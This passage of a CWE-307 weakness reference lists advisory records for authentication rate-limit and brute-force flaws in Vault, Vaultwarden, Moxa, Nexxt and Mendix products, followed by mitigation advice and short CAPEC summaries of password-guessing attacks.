"references": [
{
"type": "WEB",
"url": "https://github.com/dani-garcia/vaultwarden/security/advisories/GHSA-v6pg-v89r-w8wr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27801"
},
{
"type": "PACKAGE",
"url": "https://github.com/dani-garcia/vaultwarden"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Vaultwarden has 2FA Bypass on Protected Actions due to Faulty Rate Limit Enforcement"
}
GHSA-V6R4-35F9-9RPW
Vulnerability from github – Published: 2025-08-01 18:31 – Updated: 2025-08-01 21:09Vault and Vault Enterprise’s (“Vault”) login MFA rate limits could be bypassed and TOTP tokens could be reused. Fixed in Vault Community Edition 1.20.1 and Vault Enterprise 1.20.1, 1.19.7, 1.18.12, and 1.16.23.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/hashicorp/vault"
},
"ranges": [
{
"events": [
{
"introduced": "1.10.0"
},
{
"fixed": "1.20.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-6015"
],
"database_specific": {
"cwe_ids": [
"CWE-307"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-01T21:09:08Z",
"nvd_published_at": "2025-08-01T18:15:57Z",
"severity": "MODERATE"
},
"details": "Vault and Vault Enterprise\u2019s (\u201cVault\u201d) login MFA rate limits could be bypassed and TOTP tokens could be reused. Fixed in Vault Community Edition 1.20.1 and Vault Enterprise 1.20.1, 1.19.7, 1.18.12, and 1.16.23.",
"id": "GHSA-v6r4-35f9-9rpw",
"modified": "2025-08-01T21:09:08Z",
"published": "2025-08-01T18:31:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6015"
},
{
"type": "WEB",
"url": "https://discuss.hashicorp.com/t/hcsec-2025-19-vault-login-mfa-bypass-of-rate-limiting-and-totp-token-reuse/76038"
},
{
"type": "PACKAGE",
"url": "https://github.com/hashicorp/vault"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Hashicorp Vault has Login MFA Rate Limit Bypass Vulnerability"
}
GHSA-V7GP-P3WF-4G2V
Vulnerability from github – Published: 2022-05-13 01:36 – Updated: 2022-05-13 01:36An Improper Restriction of Excessive Authentication Attempts issue was discovered in Moxa OnCell G3110-HSPA Version 1.3 build 15082117 and previous versions, OnCell G3110-HSDPA Version 1.2 Build 09123015 and previous versions, OnCell G3150-HSDPA Version 1.4 Build 11051315 and previous versions, OnCell 5104-HSDPA, OnCell 5104-HSPA, and OnCell 5004-HSPA. An attacker can freely use brute force to determine parameters needed to bypass authentication.
{
"affected": [],
"aliases": [
"CVE-2017-7915"
],
"database_specific": {
"cwe_ids": [
"CWE-307"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-05-29T16:29:00Z",
"severity": "CRITICAL"
},
"details": "An Improper Restriction of Excessive Authentication Attempts issue was discovered in Moxa OnCell G3110-HSPA Version 1.3 build 15082117 and previous versions, OnCell G3110-HSDPA Version 1.2 Build 09123015 and previous versions, OnCell G3150-HSDPA Version 1.4 Build 11051315 and previous versions, OnCell 5104-HSDPA, OnCell 5104-HSPA, and OnCell 5004-HSPA. An attacker can freely use brute force to determine parameters needed to bypass authentication.",
"id": "GHSA-v7gp-p3wf-4g2v",
"modified": "2022-05-13T01:36:15Z",
"published": "2022-05-13T01:36:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-7915"
},
{
"type": "WEB",
"url": "https://ics-cert.us-cert.gov/advisories/ICSA-17-143-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-V8RR-WHP7-P37J
Vulnerability from github – Published: 2026-03-23 15:30 – Updated: 2026-04-29 18:31Nexxt Solutions Nebula 300+ firmware through version 12.01.01.37 does not implement rate limiting or account lockout on the authentication interface.
{
"affected": [],
"aliases": [
"CVE-2026-31851"
],
"database_specific": {
"cwe_ids": [
"CWE-307"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-23T13:16:30Z",
"severity": "HIGH"
},
"details": "Nexxt Solutions Nebula 300+ firmware through version 12.01.01.37 does not implement rate limiting or account lockout on the authentication interface.",
"id": "GHSA-v8rr-whp7-p37j",
"modified": "2026-04-29T18:31:31Z",
"published": "2026-03-23T15:30:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31851"
},
{
"type": "WEB",
"url": "https://nexxt-connectivity-frontend.s3.amazonaws.com/media/docs/Nebula300+_v12.01.01.37.zip"
},
{
"type": "WEB",
"url": "https://www.nexxtsolutions.com/connectivity/internal-products/ARN02304U6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:A/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-V94F-H6HR-HFQH
Vulnerability from github – Published: 2022-03-09 00:00 – Updated: 2022-03-17 00:02A vulnerability has been identified in Mendix Forgot Password Appstore module (All versions >= V3.3.0 < V3.5.1), Mendix Forgot Password Appstore module (Mendix 7 compatible) (All versions < V3.2.2). Initial passwords are generated in an insecure manner. This could allow an unauthenticated remote attacker to efficiently brute force passwords in specific situations.
{
"affected": [],
"aliases": [
"CVE-2022-26314"
],
"database_specific": {
"cwe_ids": [
"CWE-307"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-03-08T12:15:00Z",
"severity": "CRITICAL"
},
"details": "A vulnerability has been identified in Mendix Forgot Password Appstore module (All versions \u003e= V3.3.0 \u003c V3.5.1), Mendix Forgot Password Appstore module (Mendix 7 compatible) (All versions \u003c V3.2.2). Initial passwords are generated in an insecure manner. This could allow an unauthenticated remote attacker to efficiently brute force passwords in specific situations.",
"id": "GHSA-v94f-h6hr-hfqh",
"modified": "2022-03-17T00:02:45Z",
"published": "2022-03-09T00:00:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-26314"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/pdf/ssa-134279.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
- Common protection mechanisms include:
- Disconnecting the user after a small number of failed attempts
- Implementing a timeout
- Locking out a targeted account
- Requiring a computational task on the user's part.
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator. [REF-45]
CAPEC-16: Dictionary-based Password Attack
An attacker tries each of the words in a dictionary as passwords to gain access to the system via some user's account. If the password chosen by the user was a word within the dictionary, this attack will be successful (in the absence of other mitigations). This is a specific instance of the password brute forcing attack pattern.
Dictionary Attacks differ from similar attacks such as Password Spraying (CAPEC-565) and Credential Stuffing (CAPEC-600), since they leverage unknown username/password combinations and don't care about inducing account lockouts.
CAPEC-49: Password Brute Forcing
An adversary tries every possible value for a password until they succeed. A brute force attack, if feasible computationally, will always be successful because it will essentially go through all possible passwords given the alphabet used (lower case letters, upper case letters, numbers, symbols, etc.) and the maximum length of the password.
CAPEC-560: Use of Known Domain Credentials
An adversary guesses or obtains (i.e. steals or purchases) legitimate credentials (e.g. userID/password) to achieve authentication and to perform authorized actions under the guise of an authenticated user or service.
CAPEC-565: Password Spraying
In a Password Spraying attack, an adversary tries a small list (e.g. 3-5) of common or expected passwords, often matching the target's complexity policy, against a known list of user accounts to gain valid credentials. The adversary tries a particular password for each user account, before moving onto the next password in the list. This approach assists the adversary in remaining undetected by avoiding rapid or frequent account lockouts. The adversary may then reattempt the process with additional passwords, once enough time has passed to prevent inducing a lockout.
CAPEC-600: Credential Stuffing
An adversary tries known username/password combinations against different systems, applications, or services to gain additional authenticated access. Credential Stuffing attacks rely upon the fact that many users leverage the same username/password combination for multiple systems, applications, and services.
CAPEC-652: Use of Known Kerberos Credentials
An adversary obtains (i.e. steals or purchases) legitimate Kerberos credentials (e.g. Kerberos service account userID/password or Kerberos Tickets) with the goal of achieving authenticated access to additional systems, applications, or services within the domain.
CAPEC-653: Use of Known Operating System Credentials
An adversary guesses or obtains (i.e. steals or purchases) legitimate operating system credentials (e.g. userID/password) to achieve authentication and to perform authorized actions on the system, under the guise of an authenticated user or service. This applies to any Operating System.